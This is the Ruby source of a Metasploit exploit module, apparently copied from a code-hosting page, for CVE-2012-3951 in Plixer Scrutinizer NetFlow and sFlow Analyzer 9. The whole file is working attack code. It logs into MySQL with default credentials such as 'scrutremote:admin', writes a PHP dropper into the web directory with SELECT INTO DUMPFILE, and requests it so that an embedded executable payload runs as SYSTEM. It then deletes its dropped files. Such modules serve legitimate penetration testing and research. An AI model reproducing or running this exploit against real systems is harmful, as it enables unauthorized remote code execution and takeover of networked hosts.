Path: blob/master/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::MYSQL9include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::EXE1112def initialize(info = {})13super(14update_info(15info,16'Name' => "Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Credential",17'Description' => %q{18This exploits an insecure config found in Scrutinizer NetFlow & sFlow Analyzer.19By default, the software installs a default password in MySQL, and binds the20service to "0.0.0.0". This allows any remote user to login to MySQL, and then21gain arbitrary remote code execution under the context of 'SYSTEM'. Examples22of default credentials include: 'scrutinizer:admin', and 'scrutremote:admin'.23},24'License' => MSF_LICENSE,25'Author' => [26'MC',27'Jonathan Claudius',28'Tanya Secker',29'sinn3r'30],31'References' => [32['CVE', '2012-3951'],33['OSVDB', '84317'],34['URL', 'http://web.archive.org/web/20140722224651/http://secunia.com/advisories/50074/'],35['URL', 'https://www.trustwave.com/spiderlabs/advisories/TWSL2012-014.txt']36],37'Payload' => {38'BadChars' => "\x00"39},40'DefaultOptions' => {41'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'42},43'Platform' => 'win',44'Targets' => [45['Scrutinizer NetFlow and sFlow Analyzer 9.5.2 or older', {}]46],47'Privileged' => false,48'DisclosureDate' => '2012-07-27',49'DefaultTarget' => 0,50'Notes' => {51'Reliability' => UNKNOWN_RELIABILITY,52'Stability' => UNKNOWN_STABILITY,53'SideEffects' => UNKNOWN_SIDE_EFFECTS54}55)56)5758register_options(59[60OptString.new("USERNAME", [true, 'The default MySQL username', 'scrutremote']),61OptString.new("PASSWORD", [true, 'The default MySQL password', 'admin']),62OptPort.new("MYSQLPORT", [true, 'The MySQL\'s remote port', 3306]),63OptPort.new("HTTPPORT", [true, 'The HTTP Server\'s remote port', 80]),64OptString.new("TARGETURI", [true, 'The web application\'s base path', '/'])65]66)6768# Both MySQL and HTTP need to use this, we'll have to register on the fly.69deregister_options('RPORT')7071self.needs_cleanup = true72end7374def check75tmp_rport = datastore['RPORT']76datastore['RPORT'] = datastore['HTTPPORT']77res = send_request_raw({ 'uri' => '/' }) # Check the base path for regex78datastore['RPORT'] = tmp_rport79if res and res.body =~ /\<title\>Scrutinizer\<\/title\>/ and80res.body =~ /\<div id\=\'.+\'\>Scrutinizer 9\.[0-5]\.[0-2]\<\/div\>/81return Exploit::CheckCode::Appears82end8384return Exploit::CheckCode::Safe85end8687def get_php_payload(fname)88p = Rex::Text.encode_base64(generate_payload_exe)89php = %Q|90<?php91$f = fopen("#{fname}", "wb");92fwrite($f, base64_decode("#{p}"));93fclose($f);94exec("#{fname}");95?>96|97php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ')98return php99end100101#102# I wanna be able to choose my own destination... path!103#104def mysql_upload_binary(bindata, path)105# Modify the rport so we can use MySQL106datastore['RPORT'] = datastore['MYSQLPORT']107108# Login109h = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])110return false if not h111112tmp = mysql_get_temp_dir113p = bindata.unpack("H*")[0]114dest = tmp + path115mysql_query("SELECT 0x#{p} into DUMPFILE '#{dest}'")116return true117end118119def exe_php(php_fname)120# Modify the rport so we can use HTTP121datastore['RPORT'] = datastore['HTTPPORT']122123# Request our payload124uri = normalize_uri(target_uri.path)125path = File.dirname("#{uri}/.")126res = send_request_raw({ 'uri' => "#{path}#{php_fname}" })127return (res and res.code == 200)128end129130def cleanup131datastore['RPORT'] = @original_rport132end133134def on_new_session(cli)135if cli.type != 'meterpreter'136print_error("Please remember to manually remove #{@exe_fname} and #{@php_fname}")137return138end139140cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")141142begin143print_warning("Deleting #{@php_fname}")144cli.fs.file.rm(@php_fname)145rescue ::Exception => e146print_error("Please note: #{@php_fname} is stil on disk.")147end148149begin150print_warning("Deleting #{@exe_fname}")151cli.fs.file.rm(@exe_fname)152rescue ::Exception => e153print_error("Please note: #{@exe_fname} is still on disk.")154end155end156157def exploit158@original_rport = datastore['RPORT']159160#161# Prepare our payload (naughty exe embedded in php)162#163@exe_fname = Rex::Text.rand_text_alpha(6) + '.exe'164p = get_php_payload(@exe_fname)165166#167# Upload our payload to the html directory168#169print_status("Uploading #{p.length.to_s} bytes via MySQL...")170@php_fname = Rex::Text.rand_text_alpha(5) + '.php'171if not mysql_upload_binary(p, "../../html/#{@php_fname}")172print_error("That MySQL upload didn't work.")173return174end175176#177# Execute the payload178#179print_status("Requesting #{@php_fname}...")180res = exe_php(@php_fname)181182handler183end184end185186187